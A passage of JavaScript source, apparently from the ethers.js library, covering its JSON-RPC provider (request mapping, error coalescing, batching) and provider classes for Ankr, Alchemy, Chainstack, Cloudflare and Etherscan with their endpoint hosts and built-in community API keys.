(this._getOption(\"polling\")) {\n return new PollingEventSubscriber(this, sub.filter);\n }\n return new FilterIdEventSubscriber(this, sub.filter);\n }\n // Orphaned Logs are handled automatically, by the filter, since\n // logs with removed are emitted by it\n if (sub.type === \"orphan\" && sub.filter.orphan === \"drop-log\") {\n return new UnmanagedSubscriber(\"orphan\");\n }\n return super._getSubscriber(sub);\n }\n /**\n * Returns true only if the [[_start]] has been called.\n */\n get ready() { return this.#notReady == null; }\n /**\n * Returns %%tx%% as a normalized JSON-RPC transaction request,\n * which has all values hexlified and any numeric values converted\n * to Quantity values.\n */\n getRpcTransaction(tx) {\n const result = {};\n // JSON-RPC now requires numeric values to be \"quantity\" values\n [\"chainId\", \"gasLimit\", \"gasPrice\", \"type\", \"maxFeePerGas\", \"maxPriorityFeePerGas\", \"nonce\", \"value\"].forEach((key) => {\n if (tx[key] == null) {\n return;\n }\n let dstKey = key;\n if (key === \"gasLimit\") {\n dstKey = \"gas\";\n }\n result[dstKey] = toQuantity(getBigInt(tx[key], `tx.${key}`));\n });\n // Make sure addresses and data are lowercase\n [\"from\", \"to\", \"data\"].forEach((key) => {\n if (tx[key] == null) {\n return;\n }\n result[key] = hexlify(tx[key]);\n });\n // Normalize the access list object\n if (tx.accessList) {\n result[\"accessList\"] = accessListify(tx.accessList);\n }\n if (tx.blobVersionedHashes) {\n // @TODO: Remove this case once EIP-4844 added to prepared tx\n result[\"blobVersionedHashes\"] = tx.blobVersionedHashes.map(h => h.toLowerCase());\n }\n if (tx.authorizationList) {\n result[\"authorizationList\"] = tx.authorizationList.map((_a) => {\n const a = authorizationify(_a);\n return {\n address: a.address,\n nonce: toQuantity(a.nonce),\n chainId: toQuantity(a.chainId),\n yParity: toQuantity(a.signature.yParity),\n r: toQuantity(a.signature.r),\n s: toQuantity(a.signature.s),\n };\n });\n }\n // @TODO: blobs should probably also be copied over, optionally\n // accounting for the kzg property to backfill blobVersionedHashes\n // using the commitment. Or should that be left as an exercise to\n // the caller?\n return result;\n }\n /**\n * Returns the request method and arguments required to perform\n * %%req%%.\n */\n getRpcRequest(req) {\n switch (req.method) {\n case \"chainId\":\n return { method: \"eth_chainId\", args: [] };\n case \"getBlockNumber\":\n return { method: \"eth_blockNumber\", args: [] };\n case \"getGasPrice\":\n return { method: \"eth_gasPrice\", args: [] };\n case \"getPriorityFee\":\n return { method: \"eth_maxPriorityFeePerGas\", args: [] };\n case \"getBalance\":\n return {\n method: \"eth_getBalance\",\n args: [getLowerCase(req.address), req.blockTag]\n };\n case \"getTransactionCount\":\n return {\n method: \"eth_getTransactionCount\",\n args: [getLowerCase(req.address), req.blockTag]\n };\n case \"getCode\":\n return {\n method: \"eth_getCode\",\n args: [getLowerCase(req.address), req.blockTag]\n };\n case \"getStorage\":\n return {\n method: \"eth_getStorageAt\",\n args: [\n getLowerCase(req.address),\n (\"0x\" + req.position.toString(16)),\n req.blockTag\n ]\n };\n case \"broadcastTransaction\":\n return {\n method: \"eth_sendRawTransaction\",\n args: [req.signedTransaction]\n };\n case \"getBlock\":\n if (\"blockTag\" in req) {\n return {\n method: \"eth_getBlockByNumber\",\n args: [req.blockTag, !!req.includeTransactions]\n };\n }\n else if (\"blockHash\" in req) {\n return {\n method: \"eth_getBlockByHash\",\n args: [req.blockHash, !!req.includeTransactions]\n };\n }\n break;\n case \"getTransaction\":\n return {\n method: \"eth_getTransactionByHash\",\n args: [req.hash]\n };\n case \"getTransactionReceipt\":\n return {\n method: \"eth_getTransactionReceipt\",\n args: [req.hash]\n };\n case \"call\":\n return {\n method: \"eth_call\",\n args: [this.getRpcTransaction(req.transaction), req.blockTag]\n };\n case \"estimateGas\": {\n return {\n method: \"eth_estimateGas\",\n args: [this.getRpcTransaction(req.transaction)]\n };\n }\n case \"getLogs\":\n if (req.filter && req.filter.address != null) {\n if (Array.isArray(req.filter.address)) {\n req.filter.address = req.filter.address.map(getLowerCase);\n }\n else {\n req.filter.address = getLowerCase(req.filter.address);\n }\n }\n return { method: \"eth_getLogs\", args: [req.filter] };\n }\n return null;\n }\n /**\n * Returns an ethers-style Error for the given JSON-RPC error\n * %%payload%%, coalescing the various strings and error shapes\n * that different nodes return, coercing them into a machine-readable\n * standardized error.\n */\n getRpcError(payload, _error) {\n const { method } = payload;\n const { error } = _error;\n if (method === \"eth_estimateGas\" && error.message) {\n const msg = error.message;\n if (!msg.match(/revert/i) && msg.match(/insufficient funds/i)) {\n return makeError(\"insufficient funds\", \"INSUFFICIENT_FUNDS\", {\n transaction: (payload.params[0]),\n info: { payload, error }\n });\n }\n else if (msg.match(/nonce/i) && msg.match(/too low/i)) {\n return makeError(\"nonce has already been used\", \"NONCE_EXPIRED\", {\n transaction: (payload.params[0]),\n info: { payload, error }\n });\n }\n }\n if (method === \"eth_call\" || method === \"eth_estimateGas\") {\n const result = spelunkData(error);\n const e = AbiCoder.getBuiltinCallException((method === \"eth_call\") ? \"call\" : \"estimateGas\", (payload.params[0]), (result ? result.data : null));\n e.info = { error, payload };\n return e;\n }\n // Only estimateGas and call can return arbitrary contract-defined text, so now we\n // we can process text safely.\n const message = JSON.stringify(spelunkMessage(error));\n if (typeof (error.message) === \"string\" && error.message.match(/user denied|ethers-user-denied/i)) {\n const actionMap = {\n eth_sign: \"signMessage\",\n personal_sign: \"signMessage\",\n eth_signTypedData_v4: \"signTypedData\",\n eth_signTransaction: \"signTransaction\",\n eth_sendTransaction: \"sendTransaction\",\n eth_requestAccounts: \"requestAccess\",\n wallet_requestAccounts: \"requestAccess\",\n };\n return makeError(`user rejected action`, \"ACTION_REJECTED\", {\n action: (actionMap[method] || \"unknown\"),\n reason: \"rejected\",\n info: { payload, error }\n });\n }\n if (method === \"eth_sendRawTransaction\" || method === \"eth_sendTransaction\") {\n const transaction = (payload.params[0]);\n if (message.match(/insufficient funds|base fee exceeds gas limit/i)) {\n return makeError(\"insufficient funds for intrinsic transaction cost\", \"INSUFFICIENT_FUNDS\", {\n transaction, info: { error }\n });\n }\n if (message.match(/nonce/i) && message.match(/too low/i)) {\n return makeError(\"nonce has already been used\", \"NONCE_EXPIRED\", { transaction, info: { error } });\n }\n // \"replacement transaction underpriced\"\n if (message.match(/replacement transaction/i) && message.match(/underpriced/i)) {\n return makeError(\"replacement fee too low\", \"REPLACEMENT_UNDERPRICED\", { transaction, info: { error } });\n }\n if (message.match(/only replay-protected/i)) {\n return makeError(\"legacy pre-eip-155 transactions not supported\", \"UNSUPPORTED_OPERATION\", {\n operation: method, info: { transaction, info: { error } }\n });\n }\n }\n let unsupported = !!message.match(/the method .* does not exist/i);\n if (!unsupported) {\n if (error && error.details && error.details.startsWith(\"Unauthorized method:\")) {\n unsupported = true;\n }\n }\n if (unsupported) {\n return makeError(\"unsupported operation\", \"UNSUPPORTED_OPERATION\", {\n operation: payload.method, info: { error, payload }\n });\n }\n return makeError(\"could not coalesce error\", \"UNKNOWN_ERROR\", { error, payload });\n }\n /**\n * Requests the %%method%% with %%params%% via the JSON-RPC protocol\n * over the underlying channel. This can be used to call methods\n * on the backend that do not have a high-level API within the Provider\n * API.\n *\n * This method queues requests according to the batch constraints\n * in the options, assigns the request a unique ID.\n *\n * **Do NOT override** this method in sub-classes; instead\n * override [[_send]] or force the options values in the\n * call to the constructor to modify this method's behavior.\n */\n send(method, params) {\n // @TODO: cache chainId?? purge on switch_networks\n // We have been destroyed; no operations are supported anymore\n if (this.destroyed) {\n return Promise.reject(makeError(\"provider destroyed; cancelled request\", \"UNSUPPORTED_OPERATION\", { operation: method }));\n }\n const id = this.#nextId++;\n const promise = new Promise((resolve, reject) => {\n this.#payloads.push({\n resolve, reject,\n payload: { method, params, id, jsonrpc: \"2.0\" }\n });\n });\n // If there is not a pending drainTimer, set one\n this.#scheduleDrain();\n return promise;\n }\n /**\n * Resolves to the [[Signer]] account for %%address%% managed by\n * the client.\n *\n * If the %%address%% is a number, it is used as an index in the\n * the accounts from [[listAccounts]].\n *\n * This can only be used on clients which manage accounts (such as\n * Geth with imported account or MetaMask).\n *\n * Throws if the account doesn't exist.\n */\n async getSigner(address) {\n if (address == null) {\n address = 0;\n }\n const accountsPromise = this.send(\"eth_accounts\", []);\n // Account index\n if (typeof (address) === \"number\") {\n const accounts = (await accountsPromise);\n if (address >= accounts.length) {\n throw new Error(\"no such account\");\n }\n return new JsonRpcSigner(this, accounts[address]);\n }\n const { accounts } = await resolveProperties({\n network: this.getNetwork(),\n accounts: accountsPromise\n });\n // Account address\n address = getAddress(address);\n for (const account of accounts) {\n if (getAddress(account) === address) {\n return new JsonRpcSigner(this, address);\n }\n }\n throw new Error(\"invalid account\");\n }\n async listAccounts() {\n const accounts = await this.send(\"eth_accounts\", []);\n return accounts.map((a) => new JsonRpcSigner(this, a));\n }\n destroy() {\n // Stop processing requests\n if (this.#drainTimer) {\n clearTimeout(this.#drainTimer);\n this.#drainTimer = null;\n }\n // Cancel all pending requests\n for (const { payload, reject } of this.#payloads) {\n reject(makeError(\"provider destroyed; cancelled request\", \"UNSUPPORTED_OPERATION\", { operation: payload.method }));\n }\n this.#payloads = [];\n // Parent clean-up\n super.destroy();\n }\n}\n// @TODO: remove this in v7, it is not exported because this functionality\n// is exposed in the JsonRpcApiProvider by setting polling to true. It should\n// be safe to remove regardless, because it isn't reachable, but just in case.\n/**\n * @_ignore:\n */\nexport class JsonRpcApiPollingProvider extends JsonRpcApiProvider {\n #pollingInterval;\n constructor(network, options) {\n super(network, options);\n let pollingInterval = this._getOption(\"pollingInterval\");\n if (pollingInterval == null) {\n pollingInterval = defaultOptions.pollingInterval;\n }\n this.#pollingInterval = pollingInterval;\n }\n _getSubscriber(sub) {\n const subscriber = super._getSubscriber(sub);\n if (isPollable(subscriber)) {\n subscriber.pollingInterval = this.#pollingInterval;\n }\n return subscriber;\n }\n /**\n * The polling interval (default: 4000 ms)\n */\n get pollingInterval() { return this.#pollingInterval; }\n set pollingInterval(value) {\n if (!Number.isInteger(value) || value < 0) {\n throw new Error(\"invalid interval\");\n }\n this.#pollingInterval = value;\n this._forEachSubscriber((sub) => {\n if (isPollable(sub)) {\n sub.pollingInterval = this.#pollingInterval;\n }\n });\n }\n}\n/**\n * The JsonRpcProvider is one of the most common Providers,\n * which performs all operations over HTTP (or HTTPS) requests.\n *\n * Events are processed by polling the backend for the current block\n * number; when it advances, all block-base events are then checked\n * for updates.\n */\nexport class JsonRpcProvider extends JsonRpcApiPollingProvider {\n #connect;\n constructor(url, network, options) {\n if (url == null) {\n url = \"http:/\\/localhost:8545\";\n }\n super(network, options);\n if (typeof (url) === \"string\") {\n this.#connect = new FetchRequest(url);\n }\n else {\n this.#connect = url.clone();\n }\n }\n _getConnection() {\n return this.#connect.clone();\n }\n async send(method, params) {\n // All requests are over HTTP, so we can just start handling requests\n // We do this here rather than the constructor so that we don't send any\n // requests to the network (i.e. eth_chainId) until we absolutely have to.\n await this._start();\n return await super.send(method, params);\n }\n async _send(payload) {\n // Configure a POST connection for the requested method\n const request = this._getConnection();\n request.body = JSON.stringify(payload);\n request.setHeader(\"content-type\", \"application/json\");\n const response = await request.send();\n response.assertOk();\n let resp = response.bodyJson;\n if (!Array.isArray(resp)) {\n resp = [resp];\n }\n return resp;\n }\n}\nfunction spelunkData(value) {\n if (value == null) {\n return null;\n }\n // These *are* the droids we're looking for.\n if (typeof (value.message) === \"string\" && value.message.match(/revert/i) && isHexString(value.data)) {\n return { message: value.message, data: value.data };\n }\n // Spelunk further...\n if (typeof (value) === \"object\") {\n for (const key in value) {\n const result = spelunkData(value[key]);\n if (result) {\n return result;\n }\n }\n return null;\n }\n // Might be a JSON string we can further descend...\n if (typeof (value) === \"string\") {\n try {\n return spelunkData(JSON.parse(value));\n }\n catch (error) { }\n }\n return null;\n}\nfunction _spelunkMessage(value, result) {\n if (value == null) {\n return;\n }\n // These *are* the droids we're looking for.\n if (typeof (value.message) === \"string\") {\n result.push(value.message);\n }\n // Spelunk further...\n if (typeof (value) === \"object\") {\n for (const key in value) {\n _spelunkMessage(value[key], result);\n }\n }\n // Might be a JSON string we can further descend...\n if (typeof (value) === \"string\") {\n try {\n return _spelunkMessage(JSON.parse(value), result);\n }\n catch (error) { }\n }\n}\nfunction spelunkMessage(value) {\n const result = [];\n _spelunkMessage(value, result);\n return result;\n}\n//# sourceMappingURL=provider-jsonrpc.js.map","/**\n * [[link-ankr]] provides a third-party service for connecting to\n * various blockchains over JSON-RPC.\n *\n * **Supported Networks**\n *\n * - Ethereum Mainnet (``mainnet``)\n * - Goerli Testnet (``goerli``)\n * - Sepolia Testnet (``sepolia``)\n * - Arbitrum (``arbitrum``)\n * - Base (``base``)\n * - Base Goerlia Testnet (``base-goerli``)\n * - Base Sepolia Testnet (``base-sepolia``)\n * - BNB (``bnb``)\n * - BNB Testnet (``bnbt``)\n * - Optimism (``optimism``)\n * - Optimism Goerli Testnet (``optimism-goerli``)\n * - Optimism Sepolia Testnet (``optimism-sepolia``)\n * - Polygon (``matic``)\n * - Polygon Mumbai Testnet (``matic-mumbai``)\n *\n * @_subsection: api/providers/thirdparty:Ankr [providers-ankr]\n */\nimport { defineProperties, FetchRequest, assertArgument } from \"../utils/index.js\";\nimport { showThrottleMessage } from \"./community.js\";\nimport { Network } from \"./network.js\";\nimport { JsonRpcProvider } from \"./provider-jsonrpc.js\";\nconst defaultApiKey = \"9f7d929b018cdffb338517efa06f58359e86ff1ffd350bc889738523659e7972\";\nfunction getHost(name) {\n switch (name) {\n case \"mainnet\":\n return \"rpc.ankr.com/eth\";\n case \"goerli\":\n return \"rpc.ankr.com/eth_goerli\";\n case \"sepolia\":\n return \"rpc.ankr.com/eth_sepolia\";\n case \"arbitrum\":\n return \"rpc.ankr.com/arbitrum\";\n case \"base\":\n return \"rpc.ankr.com/base\";\n case \"base-goerli\":\n return \"rpc.ankr.com/base_goerli\";\n case \"base-sepolia\":\n return \"rpc.ankr.com/base_sepolia\";\n case \"bnb\":\n return \"rpc.ankr.com/bsc\";\n case \"bnbt\":\n return \"rpc.ankr.com/bsc_testnet_chapel\";\n case \"matic\":\n return \"rpc.ankr.com/polygon\";\n case \"matic-mumbai\":\n return \"rpc.ankr.com/polygon_mumbai\";\n case \"optimism\":\n return \"rpc.ankr.com/optimism\";\n case \"optimism-goerli\":\n return \"rpc.ankr.com/optimism_testnet\";\n case \"optimism-sepolia\":\n return \"rpc.ankr.com/optimism_sepolia\";\n }\n assertArgument(false, \"unsupported network\", \"network\", name);\n}\n/**\n * The **AnkrProvider** connects to the [[link-ankr]]\n * JSON-RPC end-points.\n *\n * By default, a highly-throttled API key is used, which is\n * appropriate for quick prototypes and simple scripts. To\n * gain access to an increased rate-limit, it is highly\n * recommended to [sign up here](link-ankr-signup).\n */\nexport class AnkrProvider extends JsonRpcProvider {\n /**\n * The API key for the Ankr connection.\n */\n apiKey;\n /**\n * Create a new **AnkrProvider**.\n *\n * By default connecting to ``mainnet`` with a highly throttled\n * API key.\n */\n constructor(_network, apiKey) {\n if (_network == null) {\n _network = \"mainnet\";\n }\n const network = Network.from(_network);\n if (apiKey == null) {\n apiKey = defaultApiKey;\n }\n // Ankr does not support filterId, so we force polling\n const options = { polling: true, staticNetwork: network };\n const request = AnkrProvider.getRequest(network, apiKey);\n super(request, network, options);\n defineProperties(this, { apiKey });\n }\n _getProvider(chainId) {\n try {\n return new AnkrProvider(chainId, this.apiKey);\n }\n catch (error) { }\n return super._getProvider(chainId);\n }\n /**\n * Returns a prepared request for connecting to %%network%% with\n * %%apiKey%%.\n */\n static getRequest(network, apiKey) {\n if (apiKey == null) {\n apiKey = defaultApiKey;\n }\n const request = new FetchRequest(`https:/\\/${getHost(network.name)}/${apiKey}`);\n request.allowGzip = true;\n if (apiKey === defaultApiKey) {\n request.retryFunc = async (request, response, attempt) => {\n showThrottleMessage(\"AnkrProvider\");\n return true;\n };\n }\n return request;\n }\n getRpcError(payload, error) {\n if (payload.method === \"eth_sendRawTransaction\") {\n if (error && error.error && error.error.message === \"INTERNAL_ERROR: could not replace existing tx\") {\n error.error.message = \"replacement transaction underpriced\";\n }\n }\n return super.getRpcError(payload, error);\n }\n isCommunityResource() {\n return (this.apiKey === defaultApiKey);\n }\n}\n//# sourceMappingURL=provider-ankr.js.map","/**\n * [[link-alchemy]] provides a third-party service for connecting to\n * various blockchains over JSON-RPC.\n *\n * **Supported Networks**\n *\n * - Ethereum Mainnet (``mainnet``)\n * - Goerli Testnet (``goerli``)\n * - Sepolia Testnet (``sepolia``)\n * - Arbitrum (``arbitrum``)\n * - Arbitrum Goerli Testnet (``arbitrum-goerli``)\n * - Arbitrum Sepolia Testnet (``arbitrum-sepolia``)\n * - Base (``base``)\n * - Base Goerlia Testnet (``base-goerli``)\n * - Base Sepolia Testnet (``base-sepolia``)\n * - Optimism (``optimism``)\n * - Optimism Goerli Testnet (``optimism-goerli``)\n * - Optimism Sepolia Testnet (``optimism-sepolia``)\n * - Polygon (``matic``)\n * - Polygon Amoy Testnet (``matic-amoy``)\n * - Polygon Mumbai Testnet (``matic-mumbai``)\n *\n * @_subsection: api/providers/thirdparty:Alchemy [providers-alchemy]\n */\nimport { defineProperties, resolveProperties, assert, assertArgument, FetchRequest } from \"../utils/index.js\";\nimport { showThrottleMessage } from \"./community.js\";\nimport { Network } from \"./network.js\";\nimport { JsonRpcProvider } from \"./provider-jsonrpc.js\";\nconst defaultApiKey = \"_gg7wSSi0KMBsdKnGVfHDueq6xMB9EkC\";\nfunction getHost(name) {\n switch (name) {\n case \"mainnet\":\n return \"eth-mainnet.alchemyapi.io\";\n case \"goerli\":\n return \"eth-goerli.g.alchemy.com\";\n case \"sepolia\":\n return \"eth-sepolia.g.alchemy.com\";\n case \"arbitrum\":\n return \"arb-mainnet.g.alchemy.com\";\n case \"arbitrum-goerli\":\n return \"arb-goerli.g.alchemy.com\";\n case \"arbitrum-sepolia\":\n return \"arb-sepolia.g.alchemy.com\";\n case \"base\":\n return \"base-mainnet.g.alchemy.com\";\n case \"base-goerli\":\n return \"base-goerli.g.alchemy.com\";\n case \"base-sepolia\":\n return \"base-sepolia.g.alchemy.com\";\n case \"matic\":\n return \"polygon-mainnet.g.alchemy.com\";\n case \"matic-amoy\":\n return \"polygon-amoy.g.alchemy.com\";\n case \"matic-mumbai\":\n return \"polygon-mumbai.g.alchemy.com\";\n case \"optimism\":\n return \"opt-mainnet.g.alchemy.com\";\n case \"optimism-goerli\":\n return \"opt-goerli.g.alchemy.com\";\n case \"optimism-sepolia\":\n return \"opt-sepolia.g.alchemy.com\";\n }\n assertArgument(false, \"unsupported network\", \"network\", name);\n}\n/**\n * The **AlchemyProvider** connects to the [[link-alchemy]]\n * JSON-RPC end-points.\n *\n * By default, a highly-throttled API key is used, which is\n * appropriate for quick prototypes and simple scripts. To\n * gain access to an increased rate-limit, it is highly\n * recommended to [sign up here](link-alchemy-signup).\n *\n * @_docloc: api/providers/thirdparty\n */\nexport class AlchemyProvider extends JsonRpcProvider {\n apiKey;\n constructor(_network, apiKey) {\n if (_network == null) {\n _network = \"mainnet\";\n }\n const network = Network.from(_network);\n if (apiKey == null) {\n apiKey = defaultApiKey;\n }\n const request = AlchemyProvider.getRequest(network, apiKey);\n super(request, network, { staticNetwork: network });\n defineProperties(this, { apiKey });\n }\n _getProvider(chainId) {\n try {\n return new AlchemyProvider(chainId, this.apiKey);\n }\n catch (error) { }\n return super._getProvider(chainId);\n }\n async _perform(req) {\n // https://docs.alchemy.com/reference/trace-transaction\n if (req.method === \"getTransactionResult\") {\n const { trace, tx } = await resolveProperties({\n trace: this.send(\"trace_transaction\", [req.hash]),\n tx: this.getTransaction(req.hash)\n });\n if (trace == null || tx == null) {\n return null;\n }\n let data;\n let error = false;\n try {\n data = trace[0].result.output;\n error = (trace[0].error === \"Reverted\");\n }\n catch (error) { }\n if (data) {\n assert(!error, \"an error occurred during transaction executions\", \"CALL_EXCEPTION\", {\n action: \"getTransactionResult\",\n data,\n reason: null,\n transaction: tx,\n invocation: null,\n revert: null // @TODO\n });\n return data;\n }\n assert(false, \"could not parse trace result\", \"BAD_DATA\", { value: trace });\n }\n return await super._perform(req);\n }\n isCommunityResource() {\n return (this.apiKey === defaultApiKey);\n }\n static getRequest(network, apiKey) {\n if (apiKey == null) {\n apiKey = defaultApiKey;\n }\n const request = new FetchRequest(`https:/\\/${getHost(network.name)}/v2/${apiKey}`);\n request.allowGzip = true;\n if (apiKey === defaultApiKey) {\n request.retryFunc = async (request, response, attempt) => {\n showThrottleMessage(\"alchemy\");\n return true;\n };\n }\n return request;\n }\n}\n//# sourceMappingURL=provider-alchemy.js.map","/**\n * [[link-chainstack]] provides a third-party service for connecting to\n * various blockchains over JSON-RPC.\n *\n * **Supported Networks**\n *\n * - Ethereum Mainnet (``mainnet``)\n * - Arbitrum (``arbitrum``)\n * - BNB Smart Chain Mainnet (``bnb``)\n * - Polygon (``matic``)\n *\n * @_subsection: api/providers/thirdparty:Chainstack [providers-chainstack]\n */\nimport { defineProperties, FetchRequest, assertArgument } from \"../utils/index.js\";\nimport { showThrottleMessage } from \"./community.js\";\nimport { Network } from \"./network.js\";\nimport { JsonRpcProvider } from \"./provider-jsonrpc.js\";\nfunction getApiKey(name) {\n switch (name) {\n case \"mainnet\": return \"39f1d67cedf8b7831010a665328c9197\";\n case \"arbitrum\": return \"0550c209db33c3abf4cc927e1e18cea1\";\n case \"bnb\": return \"98b5a77e531614387366f6fc5da097f8\";\n case \"matic\": return \"cd9d4d70377471aa7c142ec4a4205249\";\n }\n assertArgument(false, \"unsupported network\", \"network\", name);\n}\nfunction getHost(name) {\n switch (name) {\n case \"mainnet\":\n return \"ethereum-mainnet.core.chainstack.com\";\n case \"arbitrum\":\n return \"arbitrum-mainnet.core.chainstack.com\";\n case \"bnb\":\n return \"bsc-mainnet.core.chainstack.com\";\n case \"matic\":\n return \"polygon-mainnet.core.chainstack.com\";\n }\n assertArgument(false, \"unsupported network\", \"network\", name);\n}\n/**\n * The **ChainstackProvider** connects to the [[link-chainstack]]\n * JSON-RPC end-points.\n *\n * By default, a highly-throttled API key is used, which is\n * appropriate for quick prototypes and simple scripts. To\n * gain access to an increased rate-limit, it is highly\n * recommended to [sign up here](link-chainstack).\n */\nexport class ChainstackProvider extends JsonRpcProvider {\n /**\n * The API key for the Chainstack connection.\n */\n apiKey;\n /**\n * Creates a new **ChainstackProvider**.\n */\n constructor(_network, apiKey) {\n if (_network == null) {\n _network = \"mainnet\";\n }\n const network = Network.from(_network);\n if (apiKey == null) {\n apiKey = getApiKey(network.name);\n }\n const request = ChainstackProvider.getRequest(network, apiKey);\n super(request, network, { staticNetwork: network });\n defineProperties(this, { apiKey });\n }\n _getProvider(chainId) {\n try {\n return new ChainstackProvider(chainId, this.apiKey);\n }\n catch (error) { }\n return super._getProvider(chainId);\n }\n isCommunityResource() {\n return (this.apiKey === getApiKey(this._network.name));\n }\n /**\n * Returns a prepared request for connecting to %%network%%\n * with %%apiKey%% and %%projectSecret%%.\n */\n static getRequest(network, apiKey) {\n if (apiKey == null) {\n apiKey = getApiKey(network.name);\n }\n const request = new FetchRequest(`https:/\\/${getHost(network.name)}/${apiKey}`);\n request.allowGzip = true;\n if (apiKey === getApiKey(network.name)) {\n request.retryFunc = async (request, response, attempt) => {\n showThrottleMessage(\"ChainstackProvider\");\n return true;\n };\n }\n return request;\n }\n}\n//# sourceMappingURL=provider-chainstack.js.map","/**\n * About Cloudflare\n *\n * @_subsection: api/providers/thirdparty:Cloudflare [providers-cloudflare]\n */\nimport { assertArgument } from \"../utils/index.js\";\nimport { Network } from \"./network.js\";\nimport { JsonRpcProvider } from \"./provider-jsonrpc.js\";\n/**\n * About Cloudflare...\n */\nexport class CloudflareProvider extends JsonRpcProvider {\n constructor(_network) {\n if (_network == null) {\n _network = \"mainnet\";\n }\n const network = Network.from(_network);\n assertArgument(network.name === \"mainnet\", \"unsupported network\", \"network\", _network);\n super(\"https:/\\/cloudflare-eth.com/\", network, { staticNetwork: network });\n }\n}\n//# sourceMappingURL=provider-cloudflare.js.map","/**\n * [[link-etherscan]] provides a third-party service for connecting to\n * various blockchains over a combination of JSON-RPC and custom API\n * endpoints.\n *\n * **Supported Networks**\n *\n * - Ethereum Mainnet (``mainnet``)\n * - Goerli Testnet (``goerli``)\n * - Sepolia Testnet (``sepolia``)\n * - Holesky Testnet (``holesky``)\n * - Arbitrum (``arbitrum``)\n * - Arbitrum Goerli Testnet (``arbitrum-goerli``)\n * - Base (``base``)\n * - Base Sepolia Testnet (``base-sepolia``)\n * - BNB Smart Chain Mainnet (``bnb``)\n * - BNB Smart Chain Testnet (``bnbt``)\n * - Optimism (``optimism``)\n * - Optimism Goerli Testnet (``optimism-goerli``)\n * - Polygon (``matic``)\n * - Polygon Mumbai Testnet (``matic-mumbai``)\n * - Polygon Amoy Testnet (``matic-amoy``)\n *\n * @_subsection api/providers/thirdparty:Etherscan [providers-etherscan]\n */\nimport { AbiCoder } from \"../abi/index.js\";\nimport { Contract } from \"../contract/index.js\";\nimport { accessListify, Transaction } from \"../transaction/index.js\";\nimport { defineProperties, hexlify, toQuantity, FetchRequest, assert, assertArgument, isError, \n// parseUnits,\ntoUtf8String } from \"../utils/index.js\";\nimport { AbstractProvider } from \"./abstract-provider.js\";\nimport { Network } from \"./network.js\";\nimport { NetworkPlugin } from \"./plugins-network.js\";\nimport { showThrottleMessage } from \"./community.js\";\nconst THROTTLE = 2000;\nfunction isPromise(value) {\n return (value && typeof (value.then) === \"function\");\n}\nconst EtherscanPluginId = \"org.ethers.plugins.provider.Etherscan\";\n/**\n * A Network can include an **EtherscanPlugin** to provide\n * a custom base URL.\n *\n * @_docloc: api/providers/thirdparty:Etherscan\n */\nexport class EtherscanPlugin extends NetworkPlugin {\n /**\n * The Etherscan API base URL.\n */\n baseUrl;\n /**\n * Creates a new **EtherscanProvider** which will use\n * %%baseUrl%%.\n */\n constructor(baseUrl) {\n super(EtherscanPluginId);\n defineProperties(this, { baseUrl });\n }\n clone() {\n return new EtherscanPlugin(this.baseUrl);\n }\n}\nconst skipKeys = [\"enableCcipRead\"];\nlet nextId = 1;\n/**\n * The **EtherscanBaseProvider** is the super-class of\n * [[EtherscanProvider]], which should generally be used instead.\n *\n * Since the **EtherscanProvider** includes additional code for\n * [[Contract]] access, in //rare cases// that contracts are not\n * used, this class can reduce code size.\n *\n * @_docloc: api/providers/thirdparty:Etherscan\n */\nexport class EtherscanProvider extends AbstractProvider {\n /**\n * The connected network.\n */\n network;\n /**\n * The API key or null if using the community provided bandwidth.\n */\n apiKey;\n #plugin;\n /**\n * Creates a new **EtherscanBaseProvider**.\n */\n constructor(_network, _apiKey) {\n const apiKey = (_apiKey != null) ? _apiKey : null;\n super();\n const network = Network.from(_network);\n this.#plugin = network.getPlugin(EtherscanPluginId);\n defineProperties(this, { apiKey, network });\n }\n /**\n * Returns the base URL.\n *\n * If an [[EtherscanPlugin]] is configured on the\n * [[EtherscanBaseProvider_network]], returns the plugin's\n * baseUrl.\n *\n * Deprecated; for Etherscan v2 the base is no longer a simply\n * host, but instead a URL including a chainId parameter. Changing\n * this to return a URL prefix could break some libraries, so it\n * is left intact but will be removed in the future as it is unused.\n */\n getBaseUrl() {\n if (this.#plugin) {\n return this.#plugin.baseUrl;\n }\n switch (this.network.name) {\n case \"mainnet\":\n return \"https:/\\/api.etherscan.io\";\n case \"goerli\":\n return \"https:/\\/api-goerli.etherscan.io\";\n case \"sepolia\":\n return \"https:/\\/api-sepolia.etherscan.io\";\n case \"holesky\":\n return \"https:/\\/api-holesky.etherscan.io\";\n case \"arbitrum\":\n return \"https:/\\/api.arbiscan.io\";\n case \"arbitrum-goerli\":\n return \"https:/\\/api-goerli.arbiscan.io\";\n case \"base\":\n return \"https:/\\/api.basescan.org\";\n case \"base-sepolia\":\n return \"https:/\\/api-sepolia.basescan.org\";\n case \"bnb\":\n return \"https:/\\/api.bscscan.com\";\n case \"bnbt\":\n return \"https:/\\/api-testnet.bscscan.com\";\n case \"matic\":\n return \"https:/\\/api.polygonscan.com\";\n case \"matic-amoy\":\n return \"https:/\\/api-amoy.polygonscan.com\";\n case \"matic-mumbai\":\n return \"https:/\\/api-testnet.polygonscan.com\";\n case \"optimism\":\n return \"https:/\\/api-optimistic.etherscan.io\";\n case \"optimism-goerli\":\n return \"https:/\\/api-goerli-optimistic.etherscan.io\";\n default:\n }\n assertArgument(false, \"unsupported network\", \"network\", this.network);\n }\n /**\n * Returns the URL for the %%module%% and %%params%%.\n */\n getUrl(module, params) {\n let query = Object.keys(params).reduce((accum, key) => {\n const value = params[key];\n if (value != null) {\n accum += `&${key}=${value}`;\n }\n return accum;\n }, \"\");\n if (this.apiKey) {\n query += `&apikey=${this.apiKey}`;\n }\n return `https:/\\/api.etherscan.io/v2/api?chainid=${this.network.chainId}&module=${module}${query}`;\n }\n /**\n * Returns the URL for using POST requests.\n */\n getPostUrl() {\n return `https:/\\/api.etherscan.io/v2/api?chainid=${this.network.chainId}`;\n }\n /**\n * Returns the parameters for using POST requests.\n */\n getPostData(module, params) {\n params.module = module;\n params.apikey = this.apiKey;\n params.chainid = this.network.chainId;\n return params;\n }\n async detectNetwork() {\n return this.network;\n }\n /**\n * Resolves to the result of calling %%module%% with %%params%%.\n *\n * If %%post%%, the request is made as a POST request.\n */\n async fetch(module, params, post) {\n const id = nextId++;\n const url = (post ? this.getPostUrl() : this.getUrl(module, params));\n const payload = (post ? this.getPostData(module, params) : null);\n this.emit(\"debug\", { action: \"sendRequest\", id, url, payload: payload });\n const request = new FetchRequest(url);\n request.setThrottleParams({ slotInterval: 1000 });\n request.retryFunc = (req, resp, attempt) => {\n if (this.isCommunityResource()) {\n showThrottleMessage(\"Etherscan\");\n }\n return 